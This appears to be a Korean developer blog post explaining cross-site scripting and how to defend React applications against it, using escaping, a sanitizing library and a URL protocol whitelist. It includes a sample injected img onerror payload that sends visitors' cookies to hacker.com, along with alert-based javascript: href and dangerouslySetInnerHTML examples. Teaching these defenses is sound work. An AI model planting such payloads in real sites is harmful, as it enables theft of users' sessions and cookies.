Leon Chaewon Kong's dev blog

사이트 간 스크립팅

목차

오늘은 사이트 간 스크립팅(XSS)에 대해 알아보자. React에서 XSS가 어떤 식으로 이루어지는지, 어떻게 예방할 수 있는지 알아본다.


개요

사이트 간 스크립팅(Cross-site Scripting) 또는 XSS 공격은 웹 어플리케이션 관리자가 아닌 사용자가 웹 어플리케이션에 악성 스크립트를 삽입해 다른 사용자의 정보 등을 탈취하는 공격을 의미한다. 주로 웹 어플리케이션의 사용자로부터 입력 받은 값을 충분히 검사하지 않고 사용할 경우 발생한다.

해커가 사용자의 정보(쿠키, 세션 등)를 탈취하거나, 자동으로 비정상적인 기능을 수행하게 할 수 있다. 주로 다른 웹사이트와 정보를 교환하는 식으로 작동하기에 사이트 간 스크립팅이라고 불린다.

주로 게시판 등 사용자에 허용된 인풋을 활용하여 악성 스크립트를 포스팅 하는 방식으로 이루어진다.

XSS는 손쉬운 공격방법으로 매우 광범위하게 이용되어 정보 자산을 보호하는 데 가장 큰 위험 중 하나라고 할 수 있다.

예제

다음과 같은 게시판이 있다고 하자.

board text inputs


만약 악의적인 사용자가 textarea에 아래와 같은 코드를 삽입한다면 어떻게 될까? (보기 편하도록 일부러 줄바꿈을 하였다)

<p>Hello! I am a hacker.</p>
<img src="#" width="0" height="0"
onerror="this.src='http://hacker.com/gatherCookie.php?cookie=
'+encodeURIComponent(document.cookie);" />

만약 이 글을 다른 사용자가 읽는다면 해당 사용자의 브라우저에 저장된 쿠키가 해커가 의도한 대로 hacker.com으로 전송된다. 선량한 사용자의 정보가 악의적인 사용자에게 넘어가게 되는 것이다.

예방 방법

입력시 자바스크립트를 사용하지 못하게 하는 방법 스크립트 태그나 자바스크립트를 사용하지 못하게 하는 방법이나, 현실적으로는 불가능하다.

사용자 입력이 발생할 경우 클라이언트 단 혹은 서버 단에서 유효성 검사를 한다. 클라이언트 단, 혹은 서버 단에 로직을 추가하여 XSS 공격을 걸러낼 수 있도록 유입된 데이터에 대한 유효성 검사를 실시한다.

Node/Express.js의 경우 js-xss와 같은 라이브러리를 활용하면 직접 XSS 방어 로직을 작성하는 것보다 손쉽고 강력하게 XSS 공격을 방지할 수 있다.

이러한 라이브러리들을 이용하면, 다음과 같은 방식으로 흔히 사용되는 특수문자들을 이스케이프 처리된 텍스트로 변환한다.

&    =>  &amp;
'    =>  &#x27;
"    =>  &quot;
<    =>  &lt;
>    =>  &gt;
/    =>  &#x2F;

쿠키를 저장할때 쿠키값을 랜덤으로 저장하게하거나 인증불가, 중요정보를 쿠키에 저장 못하게 한다 중요한 정보를 쿠키에 저장하지 않고, 만료시간을 짧게 작성하는 등의 방식을 통해 쿠키나 세션 등의 정보가 브라우저에 최대한 짧게 남아 있도록 한다.

React에서의 XSS

React는 다음 두 가지 측면에서 기본적으로 XSS에 대해 꽤 안전하다.

  1. 뷰(View)내의 문자열 변수들은 자동적으로 이스케이프 된다.(String variables in views are escaped automatically)
  2. JSX 문법상 이벤트 핸들러는 악의적 코드가 담겨있을 지도 모르는 문자열 대신 함수를 받아 사용한다.(With JSX you pass a function as the event handler, rather than a string that can contain malicious code)

그럼에도 React 내에는 몇 가지 XSS 취약점이 존재한다.

  1. dangerouslySetInnerHTML
    React 내에서 HTML을 사용자 입력으로 받기 위해서 dangerouslySetInnerHTML을 사용한다. 이름에서 알 수 있듯 HTML을 그대로 입력 받는 것은 매우 위험한 행동이다. 따라서 추가적인 기능을 통해 입력 받은 문자열 내에 JavaScript가 포함되어 있지 않은지 확인해야 한다.
  2. a.href 속성을 이용한 XSS 공격
  const userWebsite = "javascript:alert('Hacked!');";

  class UserProfilePage extends React.Component {
    render() {
      return (
        <a href={userWebsite}>My Website</a>
      )
    }
  }
  ReactDOM.render(<UserProfilePage />, document.querySelector("#app"));

나는 항상 블랙리스트 기반의 보안 솔루션에 만족하지 못했다. 그것은 마치 밤중에 당신이 집에서 수상한 소리를 듣고 아래층으로 내려가 마주친 수상한 사람이 거실에 있는 것을 발견한 후 그 사람이 당신 집에 들어와도 되는 사람인지 여부를 전과자 데이터베이스에 조회해 보는 것과 같다. 나는 화이트리스트 솔루션을 선호한다. 나는 누가 우리 집에 들어와도 되는지는 명확히 안다.

출처: Avoiding XSS in React is Still Hard, Ron Perris

화이트리스트 방식은 다음과 같다. 내 집에 누가 들어올 수 있는지를 정의하는 것이다. 가족과 친한 친구들은 들어올 수 있다. 이렇게 들어올 수 있는 몇 명만 정의해 놓는다면 그 외의 사람이 들어올 경우 경찰에 바로 신고하면 된다.

  import React, { Component } from 'react'
  import ReactDOM from 'react-dom'
  const URL = require('url-parse')
  class SafeURL extends Component {
    isSafe(dangerousURL, text) {
      const url = URL(dangerousURL, {})
      if (url.protocol === 'http:') return true
      if (url.protocol === 'https:') return true
      return false
    }
    render() {
      const dangerousURL = this.props.dangerousURL
      const safeURL = this.isSafe(dangerousURL) ? dangerousURL : null
      return <a href={safeURL}>{this.props.text}</a>
    }
  }
  ReactDOM.render(
    <SafeURL dangerousURL=" javascript: alert(1)" text="Click me!" />,
    document.getElementById('root')
  )

url-parse의 경우 작동 과정상 “javascript:”와 “ javascript:”를 다르게 취급한다. 즉, 블랙리스트 방식으로 해결하자고 하면 해커가 얼마든지 우회할 수 있다는 것이다. 반면 정상적인 a 태그라면 프로토콜 부분이 ‘http’ 또는 ‘https’일 것이다. 위 코드는 이 두 문자열 이외의 문자열이 프로토콜로 입력되면 거부하는 식의 화이트리스트 기반 솔루션이다. (코드출처: Avoiding XSS in React is Still Hard)

한계

위의 방식들 외에도 React 어플리케이션에 XSS 공격을 가할 수 있는 방법은 다양하다. 아래와 같이 공격자가 통제하는 props가 XSS 공격의 방법으로 사용될 경우 위의 해결 방법들은 안전을 담보하지 못한다.

const customPropsControledByAttacker = {
  dangerouslySetInnerHTML: {
    "__html": "<img onerror='alert(\"Hacked!\");' src='invalid-image' />"
  }
};

class Divider extends React.Component {
  render() {
    return (
      <div {...customPropsControledByAttacker} />
    );
  }
}

ReactDOM.render(<Divider />, document.querySelector("#app"));

이외에도 style 프롭을 이용한 CSS 스크립트 인젝션(injection) 등도 위의 방법들로는 해결할 수 없는 한계에 해당한다.

결론

보안에서 완벽한 안전이란 없다. 중요한 것은 어떠한 서비스가 ‘충분히 안전한가?’ 이다. 여기서 문제되는 것은 과연 어느 정도가 ‘충분’하다고 할 수 있는가가 아닐까 싶다. React는 기본적으로 type, props, children 중 children에 대해서는 HTML 이스케이프를 자동적으로 제공한다. 반면, props의 경우 이런 기능이 제공되지 않으므로 더 주의해야 한다. 외부에서 JSON 형식으로 데이터를 받아오는 경우 또한 주의해야 한다. JSON.stringify를 하는 경우 해당 내용을 sanitize 하는 것도 위험을 줄일 수 있는 방법일 것이다.

그렇다면 이정도면 ‘충분’한가? 적어도 최소한의 노력은 하였다고 할 수 있을 것이다.

XSS는 굉장히 단순한 공격 방법이지만 굉장히 치명적인 공격 방법이다. XSS에 전혀 대응하지 않은 사이트는 엄동설한에 길바닥에 뉘여 놓은 갓난아기와 같다. 너무나 쉽게 공격자의 먹잇감이 된다. 어떠한 대비책도 XSS에 대해 완전한 안전을 담보하지는 못한다. 그러나 흔한 XSS 공격에 대비만 철저히 하더라도 상당히 많은 공격으로부터 어플리케이션의 안전을 지켜낼 수 있을 것이다.

참고문헌 및 출처